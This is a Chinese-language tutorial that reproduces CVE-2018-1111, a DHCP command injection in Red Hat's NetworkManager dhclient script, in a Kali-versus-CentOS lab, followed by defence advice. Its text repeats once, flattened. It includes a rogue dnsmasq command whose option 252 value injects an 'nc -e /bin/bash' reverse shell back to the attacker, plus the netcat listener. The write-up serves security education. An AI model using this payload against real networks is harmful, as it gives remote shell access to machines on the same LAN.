CVE-2018-1111复现环境搭建与dhcp命令注入
字数 1132 2025-08-18 11:37:49

CVE-2018-1111 DHCP客户端命令注入漏洞复现与分析

漏洞概述

CVE-2018-1111是一个存在于Red Hat Enterprise Linux DHCP客户端中的命令注入漏洞。该漏洞影响Red Hat提供的DHCP客户端软件包dhclient的脚本文件:

  • RHEL 7: /etc/NetworkManager/dispatcher.d/11-dhclient
  • RHEL 6: /etc/NetworkManager/dispatcher.d/10-dhclient

当NetworkManager组件从DHCP服务器收到DHCP响应时执行这些脚本,攻击者可以通过构造恶意的DHCP响应实现命令注入。

漏洞原理

漏洞根源在于DHCP客户端处理DHCP响应时,未对从服务器接收的特定参数(特别是option 252)进行充分验证,导致攻击者可以通过注入特殊字符执行任意命令。

环境准备

实验环境配置

  • 攻击机: Kali Linux 2018 x64 (192.168.71.5)
  • 受害机: CentOS 7 x64 (192.168.71.10)

网络设置

  1. 在VMware中设置仅主机模式网络
  2. 关闭DHCP服务
  3. 手动配置IP地址

漏洞复现步骤

1. 攻击机网络配置

ifconfig eth0 192.168.71.5 netmask 255.255.255.0
route add default gw 192.168.71.5

2. 配置dnsmasq服务

创建dnsmasq.conf配置文件:

bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.71.10,192.168.71.20,12h
dhcp-option=3,192.168.71.5
dhcp-option=6,192.168.71.5
log-queries
log-facility=/var/log/dnsmasq.log

参数说明:

  • dhcp-range: 分配给客户端的IP范围和租约时间
  • dhcp-option 3: 设置网关地址
  • dhcp-option 6: 设置DNS服务器地址

3. 构造恶意DHCP响应

使用以下payload启动dnsmasq服务:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

payload解释:

  • 利用option 252注入命令
  • '用于闭合原有命令
  • &用于执行新命令
  • #用于注释掉后续内容

4. 设置监听

在攻击机上设置netcat监听:

nc -l -p 6666 -v

5. 触发漏洞

在受害机上重启网络服务:

systemctl restart NetworkManager

漏洞分析

  1. 漏洞触发点: NetworkManager的dispatcher脚本在处理DHCP响应时,直接将option 252的值拼接进命令中执行
  2. 注入原理: 未对特殊字符(', &, #等)进行过滤,导致命令注入
  3. 利用条件: 攻击者需要能够向目标发送恶意DHCP响应(通常需要位于同一局域网)

防御措施

  1. 及时更新系统补丁
  2. 限制网络接口仅接受可信DHCP服务器
  3. 使用网络访问控制(如802.1X)防止恶意DHCP服务器
  4. 对DHCP客户端脚本进行安全审计

参考链接

  1. CVE-2018-1111 PoC on GitHub
  2. Palo Alto Networks漏洞分析

注:本文仅用于安全研究和教学目的,请勿用于非法用途

CVE-2018-1111 DHCP客户端命令注入漏洞复现与分析 漏洞概述 CVE-2018-1111是一个存在于Red Hat Enterprise Linux DHCP客户端中的命令注入漏洞。该漏洞影响Red Hat提供的DHCP客户端软件包dhclient的脚本文件: RHEL 7: /etc/NetworkManager/dispatcher.d/11-dhclient RHEL 6: /etc/NetworkManager/dispatcher.d/10-dhclient 当NetworkManager组件从DHCP服务器收到DHCP响应时执行这些脚本,攻击者可以通过构造恶意的DHCP响应实现命令注入。 漏洞原理 漏洞根源在于DHCP客户端处理DHCP响应时,未对从服务器接收的特定参数(特别是option 252)进行充分验证,导致攻击者可以通过注入特殊字符执行任意命令。 环境准备 实验环境配置 攻击机 : Kali Linux 2018 x64 (192.168.71.5) 受害机 : CentOS 7 x64 (192.168.71.10) 网络设置 在VMware中设置仅主机模式网络 关闭DHCP服务 手动配置IP地址 漏洞复现步骤 1. 攻击机网络配置 2. 配置dnsmasq服务 创建 dnsmasq.conf 配置文件: 参数说明: dhcp-range : 分配给客户端的IP范围和租约时间 dhcp-option 3 : 设置网关地址 dhcp-option 6 : 设置DNS服务器地址 3. 构造恶意DHCP响应 使用以下payload启动dnsmasq服务: payload解释: 利用option 252注入命令 ' 用于闭合原有命令 & 用于执行新命令 # 用于注释掉后续内容 4. 设置监听 在攻击机上设置netcat监听: 5. 触发漏洞 在受害机上重启网络服务: 漏洞分析 漏洞触发点 : NetworkManager的dispatcher脚本在处理DHCP响应时,直接将option 252的值拼接进命令中执行 注入原理 : 未对特殊字符( ' , & , # 等)进行过滤,导致命令注入 利用条件 : 攻击者需要能够向目标发送恶意DHCP响应(通常需要位于同一局域网) 防御措施 及时更新系统补丁 限制网络接口仅接受可信DHCP服务器 使用网络访问控制(如802.1X)防止恶意DHCP服务器 对DHCP客户端脚本进行安全审计 参考链接 CVE-2018-1111 PoC on GitHub Palo Alto Networks漏洞分析 注:本文仅用于安全研究和教学目的,请勿用于非法用途